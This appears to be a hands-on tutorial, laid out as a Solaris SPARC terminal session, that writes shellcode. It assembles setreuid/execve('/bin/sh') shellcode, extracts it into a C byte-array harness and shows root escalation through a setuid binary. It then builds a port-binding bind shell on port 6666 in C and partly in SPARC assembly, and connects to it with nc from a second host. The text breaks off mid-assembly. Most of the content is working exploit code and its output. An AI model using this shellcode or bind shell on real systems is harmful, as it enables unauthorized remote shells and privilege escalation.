entropy@solaris {/export/home/entropy/asm} man -s2 setreuid

    #include

    int setreuid(uid_t ruid, uid_t euid);

entropy@solaris {/export/home/entropy/asm} man -s2 execve

    #include

    int execl(const char *path, const char *arg0, ...  /*  const
    char *argn, (char *)0 */);

    int execv(const char *path, char *const argv[]);

    int execle(const char *path, const char *arg0, ... /*  const
    char *argn, (char *)0, char *const envp[]*/);

    int execve(const char *path, char *const argv[], char *const
    envp[]);

entropy@solaris {/export/home/entropy/asm} cat setreuid.s

.align 4
.section .rodata
.equ SYS_SETREUID, 202
.equ SYS_EXECVE, 59
.equ SYS_EXIT, 1
.equ RETVAL, 0
.equ KERNEL, 0x08

.section .text
.global _start
_start:
  xor %o1, %o1, %o0       ! set %o0 to 0
  xor %o1, %o1, %o1       ! set %o1 to 0
  mov SYS_SETREUID, %g1    ! move SYS_SETREUID(202) into %g1
  ta KERNEL            ! call kernel

  ! &#39;/bin/sh\0&#39; = 2f62696e2f7368
  sethi %hi(0x2f626900), %l0 ! set the high bits of %l0 to the string
  or %l0, %lo(0x16e), %l0   ! set the low bits of %l0 to the string
  sethi %hi(0x2f736800), %l1 ! set the high bits of %l1 to the string (low bits null)
  std %l0, [%sp - 0x10]    ! store the string address into %sp - 0x10
  sub %sp, 0x10, %o0      ! sub 0x10 from %sp and store it in %o0 (first arg)
  st  %o0, [%sp - 0x8]     ! store the address of the string address into %sp - 0x8
  sub %sp, 0x8, %o1       ! sub 0x8 from %sp and store it in %o1 (second arg)
  xor %o2, %o2, %o2       ! set %o2 to null (third arg)
  mov SYS_EXECVE, %g1      ! move SYS_EXECVE(59) into %g1
  ta KERNEL            ! call kernel

entropy@solaris {/export/home/entropy/asm} gas -als -gstabs setreuid.s -o setreuid.o
SPARC GAS  setreuid.s             page 1


  1              .align 4
  2              .section .rodata
  3              .equ SYS_SETREUID, 202
  4              .equ SYS_EXECVE, 59
  5              .equ SYS_EXIT, 1
  6              .equ RETVAL, 0
  7              .equ KERNEL, 0x08
  8
  9              .section .text
  10              .global _start
  11              _start:
  12 0000 901A4009      xor %o1, %o1, %o0       ! set %o0 to 0
  13 0004 921A4009      xor %o1, %o1, %o1       ! set %o1 to 0
  14 0008 821020CA      mov SYS_SETREUID, %g1    ! move SYS_SETREUID(202) into %g1
  15 000c 91D02008      ta KERNEL            ! call kernel
  16
  17                ! &#39;/bin/sh\0&#39; = 2f62696e2f7368
  18 0010 210BD89A      sethi %hi(0x2f626900), %l0 ! set the high bits of %l0 to the string
  19 0014 A014216E      or %l0, %lo(0x16e), %l0   ! set the low bits of %l0 to the string
  20 0018 230BDCDA      sethi %hi(0x2f736800), %l1 ! set the high bits of %l1 to the string (low bits null)
  21 001c E03BBFF0      std %l0, [%sp - 0x10]    ! store the string address into %sp - 0x10
  22 0020 9023A010      sub %sp, 0x10, %o0      ! sub 0x10 from %sp and store it in %o0 (first arg)
  23 0024 D023BFF8      st  %o0, [%sp - 0x8]     ! store the address of the string address into %sp - 0x8
  24 0028 9223A008      sub %sp, 0x8, %o1       ! sub 0x8 from %sp and store it in %o1 (second arg)
  25 002c 941A800A      xor %o2, %o2, %o2       ! set %o2 to null (third arg)
  26 0030 8210203B      mov SYS_EXECVE, %g1      ! move SYS_EXECVE(59) into %g1
  27 0034 91D02008      ta KERNEL            ! call kernel
  28

SPARC GAS  setreuid.s             page 2


DEFINED SYMBOLS
       setreuid.s:3    *ABS*:00000000000000ca SYS_SETREUID
       setreuid.s:4    *ABS*:000000000000003b SYS_EXECVE
       setreuid.s:5    *ABS*:0000000000000001 SYS_EXIT
       setreuid.s:6    *ABS*:0000000000000000 RETVAL
       setreuid.s:7    *ABS*:0000000000000008 KERNEL
       setreuid.s:11    .text:0000000000000000 _start

NO UNDEFINED SYMBOLS

entropy@solaris {/export/home/entropy/asm} ld setreuid.o -o setreuid

entropy@solaris {/export/home/entropy/asm} ./setreuid
$ exit

entropy@solaris {/export/home/entropy/asm} gdb setreuid
GNU gdb 6.2.1
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "sparc-sun-solaris2.10"...
(gdb) break *_start
Breakpoint 1 at 0x10250: file setreuid.s, line 12.
(gdb) r
Starting program: /export/home/entropy/asm/setreuid

Breakpoint 1, _start () at setreuid.s:12
12      xor %o1, %o1, %o0       ! set %o0 to 0
Current language:  auto; currently asm
(gdb) s
13      xor %o1, %o1, %o1       ! set %o1 to 0
(gdb) s
14      mov SYS_SETREUID, %g1    ! move SYS_SETREUID(202) into %g1
(gdb) s
15      ta KERNEL            ! call kernel
(gdb) s
18      sethi %hi(0x2f626900), %l0 ! set the high bits of %l0 to the string
(gdb) s
19      or %l0, %lo(0x16e), %l0   ! set the low bits of %l0 to the string
(gdb) s
20      sethi %hi(0x2f736800), %l1 ! set the high bits of %l1 to the string (low bits null)
(gdb) s
21      std %l0, [%sp - 0x10]    ! store the string address into %sp - 0x10
(gdb) s
22      sub %sp, 0x10, %o0      ! sub 0x10 from %sp and store it in %o0 (first arg)
(gdb) s
23      st  %o0, [%sp - 0x8]     ! store the address of the string address into %sp - 0x8
(gdb) s
24      sub %sp, 0x8, %o1       ! sub 0x8 from %sp and store it in %o1 (second arg)
(gdb) s
25      xor %o2, %o2, %o2       ! set %o2 to null (third arg)
(gdb) s
26      mov SYS_EXECVE, %g1      ! move SYS_EXECVE(59) into %g1
(gdb) p/x $o0
$1 = 0xffbffd08
(gdb) p/x $o1
$2 = 0xffbffd10
(gdb) p/x $o2
$3 = 0x0
(gdb) x/2x 0xffbffd08
0xffbffd08:    0x2f62696e    0x2f736800
(gdb) x 0xffbffd10
0xffbffd10:    0xffbffd08
(gdb) x/4x $sp-0x10
0xffbffd08:    0x2f62696e    0x2f736800    0xffbffd08    0x00000000
(gdb) c
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
0xff3b3740 in ?? ()
(gdb) c
Continuing.
$ id
uid=500(entropy) gid=100(entropy)
$ exit

Program exited normally.
(gdb) q

And for the shellcode from above we have:

  12 0000 901A4009      xor %o1, %o1, %o0       ! set %o0 to 0
  13 0004 921A4009      xor %o1, %o1, %o1       ! set %o1 to 0
  14 0008 821020CA      mov SYS_SETREUID, %g1    ! move SYS_SETREUID(202) into %g1
  15 000c 91D02008      ta KERNEL            ! call kernel
  16
  17                ! &#39;/bin/sh\0&#39; = 2f62696e2f7368
  18 0010 210BD89A      sethi %hi(0x2f626900), %l0 ! set the high bits of %l0 to the string
  19 0014 A014216E      or %l0, %lo(0x16e), %l0   ! set the low bits of %l0 to the string
  20 0018 230BDCDA      sethi %hi(0x2f736800), %l1 ! set the high bits of %l1 to the string (low bits null)
  21 001c E03BBFF0      std %l0, [%sp - 0x10]    ! store the string address into %sp - 0x10
  22 0020 9023A010      sub %sp, 0x10, %o0      ! sub 0x10 from %sp and store it in %o0 (first arg)
  23 0024 D023BFF8      st  %o0, [%sp - 0x8]     ! store the address of the string address into %sp - 0x8
  24 0028 9223A008      sub %sp, 0x8, %o1       ! sub 0x8 from %sp and store it in %o1 (second arg)
  25 002c 941A800A      xor %o2, %o2, %o2       ! set %o2 to null (third arg)
  26 0030 8210203B      mov SYS_EXECVE, %g1      ! move SYS_EXECVE(59) into %g1
  27 0034 91D02008      ta KERNEL            ! call kernel


entropy@solaris {/export/home/entropy/asm} cat exec1.c
char shellcode[] =
"\x90\x1A\x40\x09"  /* xor %o1, %o1, %o0       */
"\x92\x1A\x40\x09"  /* xor %o1, %o1, %o1       */
"\x82\x10\x20\xCA"  /* mov SYS_SETREUID(202), %g1 */
"\x91\xD0\x20\x08"  /* ta KERNEL(0x08)        */
"\x21\x0B\xD8\x9A"  /* sethi %hi(0x2f626900), %l0 */
"\xA0\x14\x21\x6E"  /* or %l0, %lo(0x16e), %l0   */
"\x23\x0B\xDC\xDA"  /* sethi %hi(0x2f736800), %l1 */
"\xE0\x3B\xBF\xF0"  /* std %l0, [%sp - 0x10]    */
"\x90\x23\xA0\x10"  /* sub %sp, 0x10, %o0      */
"\xD0\x23\xBF\xF8"  /* st  %o0, [%sp - 0x8]     */
"\x92\x23\xA0\x08"  /* sub %sp, 0x8, %o1       */
"\x94\x1A\x80\x0A"  /* xor %o2, %o2, %o2       */
"\x82\x10\x20\x3B"  /* mov SYS_EXECVE(59), %g1   */
"\x91\xD0\x20\x08"; /* ta KERNEL(0x08)        */

int
main (int argc, char **argv)
{
      int (*ret)();          /* ret is a function pointer */
      ret = (int(*)())shellcode; /* ret points to our shellcode */
                       /* shellcode is type caste as a function */
      (int)(*ret)();         /* execute, as a function, shellcode[] */
      exit(0);             /* exit() */
}

entropy@solaris {/export/home/entropy/asm} gcc exec1.c

entropy@solaris {/export/home/entropy/asm} ./a.out
$ id
uid=500(entropy) gid=100(entropy)
$ exit

entropy@solaris {/export/home/entropy/asm} su
Password:

# chmod u+s a.out
# chown root a.out
# exit

entropy@solaris {/export/home/entropy/asm} ./a.out
# id
uid=0(root) gid=100(entropy)
# exit

entropy@solaris {/export/home/entropy/asm} rm a.out
rm: a.out: override protection 755 (yes/no)? y

Fun times, fun times. Now lets try some portbinding shellcode.

entropy@solaris {/export/home/entropy/asm} cat portbind.c
#include
#include
#include
#include

#define STDIN 0
#define STDOUT 1
#define STDERR 2
#define PORT 6666

int
main (void) {
      char *shell[2];
      int listenSocket, acceptSocket, len;
      struct sockaddr_in s;
      /* create a tcp socket */
      listenSocket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
      /* address family */
      s.sin_family = AF_INET;
      /* bind to all address on box */
      s.sin_addr.s_addr = htonl(INADDR_ANY);
      /* listen on the port */
      s.sin_port = htons(PORT);
      /* bind to port */
      bind(listenSocket, (struct sockaddr *)&s, sizeof(s));
      /* listen for connects */
      listen(listenSocket, 1);
      len = sizeof(s);
      /* accept a connect on listenign socket */
      acceptSocket = accept(listenSocket, (struct sockaddr *)&s, &len);
      /* dup stdin, out and err to the newly created socket */
      dup2(acceptSocket, STDIN);
      dup2(acceptSocket, STDOUT);
      dup2(acceptSocket, STDERR);
      /* char **shell */
      shell[0] = "/bin/sh";
      shell[1] = NULL;
      /* exec the shell */
      execve(shell[0], shell, NULL);
      /* never reach here, well hopefully */
      exit(0);
}


entropy@solaris {/export/home/entropy/asm} gcc -lnsl -lsocket -lresolv portbind.c

entropy@solaris {/export/home/entropy/asm} ./a.out

Now from a different host (solaris is the hostname of the box running the code):

entropy@phalaris {~} perl -e &#39;$|++;while (<>){print . "\n\x00";}&#39;|nc solaris 6666
id
uid=500(entropy) gid=100(entropy)
uname -a
SunOS solaris 5.10 Generic_118822-18 sun4u sparc SUNW,Ultra-5_10
pwd
/export/home/entropy/asm
exit

entropy@phalaris {~}

That works. We need the \n newline and \x00 null because we have no controlling
terminal to append these to the strings we type.

We need to get rid of as much of our include as possible and know the values for
everything we are using. Lets go through and find out as much as possible (syscalls
we dont have to get rid of) check out what a struct sockaddr_in is defined as.

entropy@solaris {/export/home/entropy/asm} pico /usr/include/netinet/in.h

*** Everything below on assumption of !defined(_XPG4_2) || defined(__EXTENSIONS__).

/*
* IPv4 Socket address.
*/
struct sockaddr_in {
      sa_family_t    sin_family;
      in_port_t     sin_port;
      struct  in_addr sin_addr;
#if !defined(_XPG4_2) || defined(__EXTENSIONS__)
      char        sin_zero[8];
#else
      unsigned char  sin_zero[8];
#endif /* !defined(_XPG4_2) || defined(__EXTENSIONS__) */
};

And we need the struct in_addr (defined same file):

struct in_addr {
      union {
           struct { uint8_t s_b1, s_b2, s_b3, s_b4; } _S_un_b;
           struct { uint16_t s_w1, s_w2; } _S_un_w;
#if !defined(_XPG4_2) || defined(__EXTENSIONS__)
           uint32_t _S_addr;
#else
           in_addr_t _S_addr;
#endif /* !defined(_XPG4_2) || defined(__EXTENSIONS__) */
      } _S_un;
#define s_addr  _S_un._S_addr        /* should be used for all code */
#define s_host  _S_un._S_un_b.s_b2    /* OBSOLETE: host on imp */
#define s_net  _S_un._S_un_b.s_b1    /* OBSOLETE: network */
#define s_imp  _S_un._S_un_w.s_w2    /* OBSOLETE: imp */
#define s_impno _S_un._S_un_b.s_b4    /* OBSOLETE: imp # */
#define s_lh   _S_un._S_un_b.s_b3    /* OBSOLETE: logical host */
};

Uh. So looks like its the define: s_addr  _S_un._S_addr and using that info
on the union we get in_addr_t.

And finally the types for sa_family_t, in_addr_t and in_port_t (same file):

typedef uint16_t      sa_family_t;
typedef uint32_t      in_addr_t;
typedef uint16_t      in_port_t;

So to put this all together we have:

struct sockaddr_in {
      uint16_t     sin_family;  /* 2 bytes */
      uint16_t      sin_port;   /* 2 bytes */
      uint32_t  sin_addr;   /* 4 bytes */
      char        sin_zero[8]; /* 8 bytes */
};

Now we know sizeof(sockaddr_in) is 16 bytes. Let get the values of PF_INET,
SOCK_STREAM, IPPROTO_TCP, AF_INET and INADDR_ANY.

entropy@solaris {/export/home/entropy/asm} pico /usr/include/sys/socket.h

#define PF_INET      AF_INET
#define AF_INET      2          /* internetwork: UDP, TCP, etc. */

#define SOCK_STREAM    NC_TPI_COTS    /* stream socket */
#define NC_TPI_COTS    2          /* must agree with netconfig.h */

entropy@solaris {/export/home/entropy/asm} pico /usr/include/netinet/in.h

#define IPPROTO_TCP         6          /* tcp */
#define INADDR_ANY          0x00000000U

So we have:
PF_INET = 2
AF_INET = 2
SOCK_STREAM = 2
IPPROTO_TCP = 6
INADDR_ANY = 0

The htons is just a nop on solaris, as solaris is big-endian.

With this info we can rewrite the portbind.c with our new info, we need these for
our asm as we will have less includes and will be calling syscalls directly. The only
change we will make is to rename "struct sockaddr_in" because on solaris in.h is included
in socket.h and so we would get a redefinition error.

entropy@solaris {/export/home/entropy/asm} cat portbind2.c
#include
#include
#include

struct our_sockaddr_in {         /* renamed sockaddr_in */
      uint16_t      sin_family;  /* 2 bytes */
      uint16_t      sin_port;   /* 2 bytes */
      uint32_t      sin_addr;   /* 4 bytes */
      char        sin_zero[8]; /* 8 bytes */
};

int
main (void)
{
      char *shell[2];
      int listenSocket, acceptSocket, len;
      struct our_sockaddr_in s;  /* renamed sockaddr_in */
      /* create a tcp socket */
      listenSocket = socket(2, 2, 6);
      /* address family */
      s.sin_family = 2;
      /* bind to all address on box */
      s.sin_addr = 0;
      /* listen on the port */
      s.sin_port = 6666;
      /* bind to port */
      bind(listenSocket, (struct sockaddr *)&s, 16);
      /* listen for connects */
      listen(listenSocket, 1);
      len = 16;
      /* accept a connect on listenign socket */
      acceptSocket = accept(listenSocket, (struct sockaddr *)&s, &len);
      /* dup stdin, out and err to the newly created socket */
      dup2(acceptSocket, 0);
      dup2(acceptSocket, 1);
      dup2(acceptSocket, 2);
      /* char **shell */
      shell[0] = "/bin/sh";
      shell[1] = NULL;
      /* exec the shell */
      execve(shell[0], shell, NULL);
      /* never reach here, well hopefully */
      exit(0);
}

entropy@solaris {/export/home/entropy/asm} gcc -lnsl -lsocket -lresolv portbind2.c

entropy@solaris {/export/home/entropy/asm} ./a.out &
[1] 703

entropy@solaris {/export/home/entropy/asm} netstat -na | grep LIST
    *.22            *.*           0    0 49152    0 LISTEN
    *.6666          *.*           0    0 49152    0 LISTEN
    *.22            *.*                    0    0 49152    0

Again from a different host:

entropy@phalaris {~} perl -e &#39;$|++;while (<>){print . "\n\x00";}&#39;|nc 192.168.1.149 6666
id
uid=500(entropy) gid=100(entropy)
uname -a
SunOS solaris 5.10 Generic_118822-18 sun4u sparc SUNW,Ultra-5_10
pwd
/export/home/entropy/asm
exit

entropy@phalaris {~}

Works. Lets get all the syscall numbers we need, which are socket(), bind(),
listen(), accept(), dup2(), execve() and exit().

*** BIG NOTE ***
These system calls sometimes called undocumented system calls, for instance socket
calls so_socket which has five arguments not three, and listen calls listen and this
listen has three arguments. Kepp this in mind if wierd things are happening you can
always go back and dtrace or truss the c version binary and compare the system calls.


entropy@solaris {/export/home/entropy/asm} grep  /usr/include/sys/syscall.h

#define SYS_so_socket        230
#define SYS_bind           232
#define SYS_listen          233
#define SYS_accept          234
#define SYS_dup          41
#define SYS_execve          59
#define SYS_exit           1
#define SYS_close       6
#define SYS_fcntl       62

Since there is no dup2 syscall we have to change the portbind code a bit to:

entropy@solaris {/export/home/entropy/asm} cat portbind2.c
#include
#include
#include

struct our_sockaddr_in {         /* renamed sockaddr_in */
      uint16_t      sin_family;  /* 2 bytes */
      uint16_t      sin_port;   /* 2 bytes */
      uint32_t      sin_addr;   /* 4 bytes */
      char        sin_zero[8]; /* 8 bytes */
};

int
main (void)
{
      char *shell[2];
      int listenSocket, acceptSocket, len;
      struct our_sockaddr_in s;  /* renamed sockaddr_in */
      /* create a tcp socket */
      listenSocket = socket(2, 2, 6);
      /* address family */
      s.sin_family = 2;
      /* bind to all address on box */
      s.sin_addr = 0;
      /* listen on the port */
      s.sin_port = 6666;
      /* bind to port */
      bind(listenSocket, (struct sockaddr *)&s, 16);
      /* listen for connects */
      listen(listenSocket, 1);
      len = 16;
      /* accept a connect on listenign socket */
      acceptSocket = accept(listenSocket, (struct sockaddr *)&s, &len);
      /* dup stdin, out and err to the newly created socket */
      close(0);
      fcntl(acceptSocket, 0, 0);
      close(1);
      fcntl(acceptSocket, 0, 1);
      close(2);
      fcntl(acceptSocket, 0, 2);
      /* char **shell */
      shell[0] = "/bin/sh";
      shell[1] = NULL;
      /* exec the shell */
      execve(shell[0], shell, NULL);
      /* never reach here, well hopefully */
      exit(0);
}

Now we need their prototypes (man ):

socket:
    This really calls the undocumented call so_socket the first three args
    are the same the 4th should be 0 the 5th should be 1.

    int socket(int domain, int type, int protocol);

bind:
    int bind(int s, const struct sockaddr *name, int namelen);

listen:
    This really calls listen(int s, int backlog, SOV_DEFAULT);

    man -s3SOCKET listen
    int listen(int s, int backlog);

accept:
    man -s3SOCKET accept
    int  accept(int  s,  struct  sockaddr  *addr,  socklen_t *addrlen);

dup:
    int dup(int fildes);

execve:
    int execve(const char *path, char *const argv[], char *const envp[]);

exit:
   void _exit(int status);

fcntl:
   int fcntl(int fildes, int cmd, /* arg */ ...);

close:
   int close(int fildes);

At this point we have everything we need to start coding, we&#39;ll go in pieces.

First do all the equates we need, call socket set up the sockaddr_in on the
stack call bind and exit.

entropy@solaris {/export/home/entropy/asm} cat portbind.s

.align 4
.section .rodata
.equ KERNEL, 0x08
.equ SYS_SOCKET, 230
.equ SYS_BIND, 232
.equ SYS_LISTEN, 233
.equ SYS_ACCEPT, 234
.equ SYS_DUP, 41
.equ SYS_EXECVE, 59
.equ SYS_EXIT,1
.equ SOCKADDR_IN_SIZE, 16
.equ PF_INET, 2
.equ AF_INET, 2
.equ SOCK_STREAM, 2
.equ IPPROTO_TCP, 6
.equ INADDR_ANY, 0
.equ PORT, 6666
.equ STDIN, 0
.equ STDOUT, 1
.equ STDERR, 2

.section .text
.global _start
_start:

  mov PF_INET, %o0       ! mov PF_INET(2) into %o0
  mov SOCK_STREAM, %o1    ! mov SOCK_STREAM(2) into %o1
  mov IPPROTO_TCP, %o2    ! mov IPPROTO_TCP(6) into %o2
  xor %o1, %o1, %o3      ! xor %o3 to 0
  sub %o0, 1, %o4        ! sub %o4 to 1 (%o0 is 2)
  mov SYS_SOCKET, %g1     ! move system call socket(230) into %g1
  ta KERNEL            ! call socket
  and %o0, %o0, %l0      ! save sock in %l0

                    ! 8 bytes we skip for char zero[8]
  mov INADDR_ANY, %l1     ! mov INADDR_ANY(0) to %l1
  st  %l1, [%sp - 0xc]    ! store 4 bytes of %l1 at %sp - 12
  mov PORT, %l1         ! mov PORT(6666) to %l1
  sth %l1, [%sp - 0xe]    ! store half 2 bytes at %sp - 14
  mov AF_INET, %l1       ! mov AF_INET(2) to %l1
  sth %l1, [%sp - 0x10]    ! store half 2 bytes to %sp - 16

  mov %l0, %o0          ! mov the sock to %o0
  sub %sp, 0x10, %o1      ! put the start of the sockaddr_in in %o1
  mov SOCKADDR_IN_SIZE, %o2 ! mov the sockaddr_in size to %o2
  mov SYS_BIND, %g1      ! mov SYS_BIND(232) into %g1
  ta KERNEL            ! call kernel

  xor %o0, %o0, %o0
  mov SYS_EXIT, %g1
  ta KERNEL


entropy@solaris {/export/home/entropy/asm} gas -als -gstabs portbind.s -o portbind.o
SPARC GAS  portbind.s             page 1


  1              .align 4
  2              .section .rodata
  3              .equ KERNEL, 0x08
  4              .equ SYS_SOCKET, 230
  5              .equ SYS_BIND, 232
  6              .equ SYS_LISTEN, 233
  7              .equ SYS_ACCEPT, 234
  8              .equ SYS_DUP, 41
  9              .equ SYS_EXECVE, 59
  10              .equ SYS_EXIT,1
  11              .equ SOCKADDR_IN_SIZE, 16
  12              .equ PF_INET, 2
  13              .equ AF_INET, 2
  14              .equ SOCK_STREAM, 2
  15              .equ IPPROTO_TCP, 6
  16              .equ INADDR_ANY, 0
  17              .equ PORT, 6666
  18              .equ STDIN, 0
  19              .equ STDOUT, 1
  20              .equ STDERR, 2
  21
  22              .section .text
  23              .global _start
  24              _start:
  25
  26 0000 90102002      mov PF_INET, %o0
  27 0004 92102002      mov SOCK_STREAM, %o1
  28 0008 94102006      mov IPPROTO_TCP, %o2
  29 000c 961A4009      xor %o1, %o1, %o3
  30 0010 98222001      sub %o0, 1, %o4
  31 0014 821020E6      mov SYS_SOCKET, %g1
  32 0018 91D02008      ta KERNEL
  33 001c A00A0008      and %o0, %o0, %l0
  34
  35 0020 A2102000      mov INADDR_ANY, %l1
  36 0024 E223BFF4      st  %l1, [%sp - 0xc]
  37 0028 A2103A0A      mov PORT, %l1
  38 002c E233BFF2      sth %l1, [%sp - 0xe]
  39 0030 A2102002      mov AF_INET, %l1
  40 0034 E233BFF0      sth %l1, [%sp - 0x10]
  41
  42 0038 90100010      mov %l0, %o0
  43 003c 9223A010      sub %sp, 0x10, %o1
  44 0040 94102010      mov SOCKADDR_IN_SIZE, %o2
  45 0044 821020E8      mov SYS_BIND, %g1
  46 0048 91D02008      ta KERNEL
  47
  48 004c 901A0008      xor %o0, %o0, %o0
  49 0050 82102001      mov SYS_EXIT, %g1
  50 0054 91D02008      ta KERNEL

SPARC GAS  portbind.s             page 2


DEFINED SYMBOLS
       portbind.s:3    *ABS*:0000000000000008 KERNEL
       portbind.s:4    *ABS*:00000000000000e6 SYS_SOCKET
       portbind.s:5    *ABS*:00000000000000e8 SYS_BIND
       portbind.s:6    *ABS*:00000000000000e9 SYS_LISTEN
       portbind.s:7    *ABS*:00000000000000ea SYS_ACCEPT
       portbind.s:8    *ABS*:0000000000000029 SYS_DUP
       portbind.s:9    *ABS*:000000000000003b SYS_EXECVE
       portbind.s:10    *ABS*:0000000000000001 SYS_EXIT
       portbind.s:11    *ABS*:0000000000000010 SOCKADDR_IN_SIZE
       portbind.s:12    *ABS*:0000000000000002 PF_INET
       portbind.s:13    *ABS*:0000000000000002 AF_INET
       portbind.s:14    *ABS*:0000000000000002 SOCK_STREAM
       portbind.s:15    *ABS*:0000000000000006 IPPROTO_TCP
       portbind.s:16    *ABS*:0000000000000000 INADDR_ANY
       portbind.s:17    *ABS*:0000000000001a0a PORT
       portbind.s:18    *ABS*:0000000000000000 STDIN
       portbind.s:19    *ABS*:0000000000000001 STDOUT
       portbind.s:20    *ABS*:0000000000000002 STDERR
       portbind.s:24    .text:0000000000000000 _start

NO UNDEFINED SYMBOLS

entropy@solaris {/export/home/entropy/asm} ld -lnsl -lsocket -lresolv portbind.o -o portbind

entropy@solaris {/export/home/entropy/asm} truss portbind

[...snip...]

so_socket(PF_INET, SOCK_STREAM, IPPROTO_TCP, "", SOV_DEFAULT) = 3
bind(3, 0xFFBFFD20, 16, SOV_STREAM)         = 0
_exit(0)

So far so good, add in listen() and accept(). Again remember that this listen has
three arguemts and the accept has four. You can find this out by compiling the c version
of the portbind code and then truss a.out and looking at the syscalls. For instance:

entropy@solaris {/export/home/entropy/asm} gcc -lnsl -lsocket -lresolv portbind.c
entropy@solaris {/export/home/entropy/asm} truss a.out

so_socket(PF_INET, SOCK_STREAM, IPPROTO_TCP, "", SOV_DEFAULT) = 3
bind(3, 0xFFBFFCE0, 16, SOV_SOCKBSD)        = 0
listen(3, 1, SOV_DEFAULT)                = 0
accept(3, 0xFFBFFCE0, 0xFFBFFCF4, SOV_DEFAULT) (sleeping...)

So from here we know so_socket takes its normal argvs plus a null and SOV_DEFAULT which
is 1, bind is the same as its proto, listen takes a extra SOV_DEFAULT and so does accept.
Once you keep this in mind things get easier.

entropy@solaris {/export/home/entropy/asm} cat portbind.s
.align 4
.section .rodata
.equ KERNEL, 0x08
.equ SYS_SOCKET, 230
.equ SYS_BIND, 232
.equ SYS_LISTEN, 233
.equ SYS_ACCEPT, 234
.equ SYS_DUP, 41
.equ SYS_EXECVE, 59
.equ SYS_EXIT,1
.equ SOCKADDR_IN_SIZE, 16
.equ PF_INET, 2
.equ AF_INET, 2
.equ SOCK_STREAM, 2
.equ IPPROTO_TCP, 6
.equ INADDR_ANY, 0
.equ PORT, 6666
.equ STDIN, 0
.equ STDOUT, 1
.equ STDERR, 2

.section .text
.global _start
_start:

  mov PF_INET, %o0       ! mov PF_INET(2) into %o0
  mov SOCK_STREAM, %o1    ! mov SOCK_STREAM(2) into %o1
  mov IPPROTO_TCP, %o2    ! mov IPPROTO_TCP(6) into %o2
  xor %o1, %o1, %o3      ! xor %o3 to 0
  sub %o0, 1, %o4        ! sub %o4 to 1 (%o0 is 2)
  mov SYS_SOCKET, %g1     ! move system call socket(230) into %g1
  ta KERNEL            ! call socket
  and %o0, %o0, %l0      ! save sock in %l0

                    ! 8 bytes we skip for char zero[8]
  mov INADDR_ANY, %l1     ! mov INADDR_ANY(0) to %l1
  st  %l1, [%sp - 0xc]    ! store 4 bytes of %l1 at %sp - 12
  mov PORT, %l1         ! mov PORT(6666) to %l1
  sth %l1, [%sp - 0xe]    ! store half 2 bytes at %sp - 14
  mov AF_INET, %l1       ! mov AF_INET(2) to %l1
  sth %l1, [%sp - 0x10]    ! store half 2 bytes to %sp - 16

  mov %l0, %o0          ! mov the sock to %o0
  sub %sp, 0x10, %o1      ! put the start of the sockaddr_in in %o1
  mov SOCKADDR_IN_SIZE, %o2 ! mov the sockaddr_in size to %o2
  mov SYS_BIND, %g1      ! mov SYS_BIND(232) into %g1
  ta KERNEL            ! call kernel

  mov %l0, %o0          ! mov the sock into %o0
  and %o4, %o4, %o1      ! backlog 1
  and %o4, %o4, %o2      ! extra SOV_DEFAULT
  mov SYS_LISTEN, %g1     ! mov SYS_LISTEN(233) into %g1
  ta KERNEL            ! call kernel

  ! we need 16 more for the client sockaddr_in plus 4 for its size

  mov SOCKADDR_IN_SIZE, %l1 ! store the sockaddr_in size at 16*2+4
  st %l1, [%sp - 0x24]    ! which is sockaddr_in*2 + sizeof address

  mov %l0, %o0          ! mov the sock into %o0
  sub %sp, 0x20, %o1      ! sub 32 from %sp to make room for the client sockaddr_in
  sub %sp, 0x24, %o2      ! sub 36 from sp [%sp - 0x24](&SOCKADDR_IN_SIZE) into %o2
  and %o4, %o4, %o3      ! put SOV_DEFAULT(1) in %o3
  mov SYS_ACCEPT, %g1     ! mov SYS_ACCEPT(234) into %g1
  ta KERNEL            ! call kernel

  xor %o0, %o0, %o0
  mov SYS_EXIT, %g1
  ta KERNEL

Compile and test it.

entropy@solaris {/export/home/entropy/asm} gas -als -gstabs portbind.s -o portbind.o
entropy@solaris {/export/home/entropy/asm} ld -lnsl -lsocket -lresolv portbind.o -o portbind
entropy@solaris {/export/home/entropy/asm} truss portbind

[...snip...]

so_socket(PF_INET, SOCK_STREAM, IPPROTO_TCP, "", SOV_DEFAULT) = 3
bind(3, 0xFFBFFD20, 16, SOV_STREAM)         = 0
listen(3, 1, SOV_DEFAULT)                = 0
accept(3, 0xFFBFFD10, 0xFFBFFD0C, SOV_DEFAULT) (sleeping...)
^C   Received signal #2, SIGINT, in accept() [default]

Looks good.

entropy@solaris {/export/home/entropy/asm} ./portbind &
[1] 1151

entropy@solaris {/export/home/entropy/asm} netstat -na | grep LIST
    *.22            *.*           0    0 49152    0 LISTEN
    *.64010          *.*           0    0 49152    0 LISTEN

Whoops listening on the wrong port, change the mov PORT line to a sethi/or.

entropy@solaris {/export/home/entropy/asm} cat portbind.s
.align 4
.section .rodata
.equ KERNEL, 0x08
.equ SYS_SOCKET, 230
.equ SYS_BIND, 232
.equ SYS_LISTEN, 233
.equ SYS_ACCEPT, 234
.equ SYS_DUP, 41
.equ SYS_EXECVE, 59
.equ SYS_EXIT,1
.equ SOCKADDR_IN_SIZE, 16
.equ PF_INET, 2
.equ AF_INET, 2
.equ SOCK_STREAM, 2
.equ IPPROTO_TCP, 6
.equ INADDR_ANY, 0
.equ PORT, 6666
.equ STDIN, 0
.equ STDOUT, 1
.equ STDERR, 2

.section .text
.global _start
_start:

  mov PF_INET, %o0       ! mov PF_INET(2) into %o0
  mov SOCK_STREAM, %o1    ! mov SOCK_STREAM(2) into %o1
  mov IPPROTO_TCP, %o2    ! mov IPPROTO_TCP(6) into %o2
  xor %o1, %o1, %o3      ! xor %o3 to 0
  sub %o0, 1, %o4        ! sub %o4 to 1 (%o0 is 2)
  mov SYS_SOCKET, %g1     ! move system call socket(230) into %g1
  ta KERNEL            ! call socket
  and %o0, %o0, %l0      ! save sock in %l0

                    ! 8 bytes we skip for char zero[8]
  mov INADDR_ANY, %l1     ! mov INADDR_ANY(0) to %l1
  st  %l1, [%sp - 0xc]    ! store 4 bytes of %l1 at %sp - 12
  sethi %hi(PORT), %l1    ! set the high bits of %l1
  or %l1, %lo(PORT), %l1   ! set the lo bits of %l1 to our port
  sth %l1, [%sp - 0xe]    ! store half 2 bytes at %sp - 14
